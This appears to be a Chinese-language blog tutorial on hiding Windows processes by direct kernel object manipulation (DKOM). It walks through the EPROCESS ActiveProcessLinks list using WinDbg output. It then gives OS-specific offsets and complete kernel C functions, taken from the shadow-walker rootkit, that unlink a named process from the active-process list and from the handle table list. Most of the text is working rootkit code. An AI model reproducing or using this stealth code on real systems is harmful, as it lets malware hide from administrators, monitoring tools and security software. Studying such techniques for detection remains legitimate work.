修改ActiveProcessLinks链表隐藏进程

在Windows内核中有一个活动进程链表AcvtivePeorecssList。它是一个双向链表，保存着系统中所有进程的EPROCESS结构。特别地，进程的EPROCESS结构包含一个具有指针成员FLINK和BLINK的LIST_ENTRY结构,这两个指针分别指向当前进程的前方和后方进程。当某些模块需要获得系统中运行的所有进程信息时，就会遍历这个链表。若在PsActviePoroessList链表上删除了某个进程对象，该进程将被隐藏起来。

EPROCESS的结构可参考http://www.nirsoft.net/kernel_struct/vista/EPROCESS.html。windbg中查看如下:

0:000> dt _EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x06c ProcessLock      : _EX_PUSH_LOCK

   +0x070 CreateTime       : _LARGE_INTEGER

   +0x078 ExitTime         : _LARGE_INTEGER

   +0x080 RundownProtect   : _EX_RUNDOWN_REF

   +0x084 UniqueProcessId  : Ptr32 Void

   +0x088 ActiveProcessLinks : _LIST_ENTRY

   +0x090 QuotaUsage       : [3] Uint4B

   +0x09c QuotaPeak        : [3] Uint4B

   +0x0a8 CommitCharge     : Uint4B

   +0x0ac PeakVirtualSize  : Uint4B

   +0x0b0 VirtualSize      : Uint4B

   +0x0b4 SessionProcessLinks : _LIST_ENTRY

   +0x0bc DebugPort        : Ptr32 Void

   +0x0c0 ExceptionPort    : Ptr32 Void

   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE

   ......

   也就是说每次得到一个ActiveProcessLinks地址，再减去它离EPROCESS结构入口处的偏移，就可以得到EPROCESS的地址，然后就可以轻松得到想要的EPROCESS的任何成员变量！不同的操作系统ActiveProcessLinks的偏移有所不同。

  要想隐藏某个进程，将其从ActiveProcessLinks链表中摘掉并修改前后结点的指向即可，同时修改HandleTableList的指向。shadow-walker上就对HandleTableList链表也进行了修改。_HANDLE_TABLE、HandleTableList在不同操作系统中在EPROCESS中便宜也不同。可以通过PsGetVersion获取系统版本并赋值。具体值可以在windbg中查看。

 ULONG majorVersion;

 ULONG minorVersion;

 // Get the operating system version

 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

 if (majorVersion == 4 && minorVersion == 0)

 {

  //DbgPrint("Stop supporting NT 4.0");

  return STATUS_UNSUCCESSFUL;

 }

 else if (majorVersion == 5 && minorVersion == 0)

 {

  //DbgPrint("Microsoft Windows 2000 ");

  *pd_flink = 160;

  *pd_tableoff = 0x128;

  *pd_tablelist = 0x54;

 }

 else if (majorVersion == 5 && minorVersion == 1)

 {

  //DbgPrint("Microsoft Windows XP ");

  *pd_flink = 136;

  *pd_tableoff = 0xc4;

  *pd_tablelist = 0x1c;

 }

 else if (majorVersion == 5 && minorVersion == 2)

 {

  //DbgPrint("Microsoft Windows Server 2003 ");

  *pd_flink = 136;

  *pd_tableoff = 0xc4;//

  *pd_tablelist = 0x1c; //

 }

这种隐藏进程的方法貌似就叫DKOM法，具体原理上个图看看：

图中，正常的连接情况如黑线箭头所示，若要摘除某个结点，修改该结点前后两个结点的指针即可，修改示意如红线所示！代码都是shadow-walker中的，如下

void HideEPROCESSByPrefix(char *p_name, DWORD d_procName, DWORD d_flinkOffset, DWORD d_tableOffset, DWORD d_tableList)

{

 int   len         = 0;

 PLIST_ENTRY plist_active_procs;

 DWORD curr_eproc, eproc;

if (p_name == NULL)

  return;

len = strlen(p_name);

eproc = (DWORD) PsGetCurrentProcess();

 curr_eproc = eproc;

do

 {

  plist_active_procs = (LIST_ENTRY *) (curr_eproc+d_flinkOffset);//get the first ActiveProcessLinks

if(_strnicmp(p_name, (PVOID)(curr_eproc+d_procName) ,len) == 0) //cmp the procname if equal hideproc name

  {

   // just Change neighbors

   *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;

   *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

UnHookHandleListEntry((PEPROCESS)curr_eproc, d_tableOffset, d_tableList);

// Advance

   curr_eproc = (DWORD) plist_active_procs->Flink;//pointer next ActiveProcessLinks

   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

// Point to ourselves

   plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); // Change the current EPROCESS

   plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink); // so we don't point to crap

  }

  else

  {

   curr_eproc = (DWORD) plist_active_procs->Flink;  //pointer next ActiveProcessLinks

   curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS

  }

 } while(eproc != curr_eproc);  //

}

void UnHookHandleListEntry(PEPROCESS eproc, DWORD d_handleTable, DWORD d_handleList)

{

 PLIST_ENTRY plist_hTable = NULL;

 plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)) + d_handleList);

// Change neighbors because they point fingers

 *((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;

 *((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;

plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink); // Change the current LIST_ENTRY

 plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink); // so we don't point to crap

}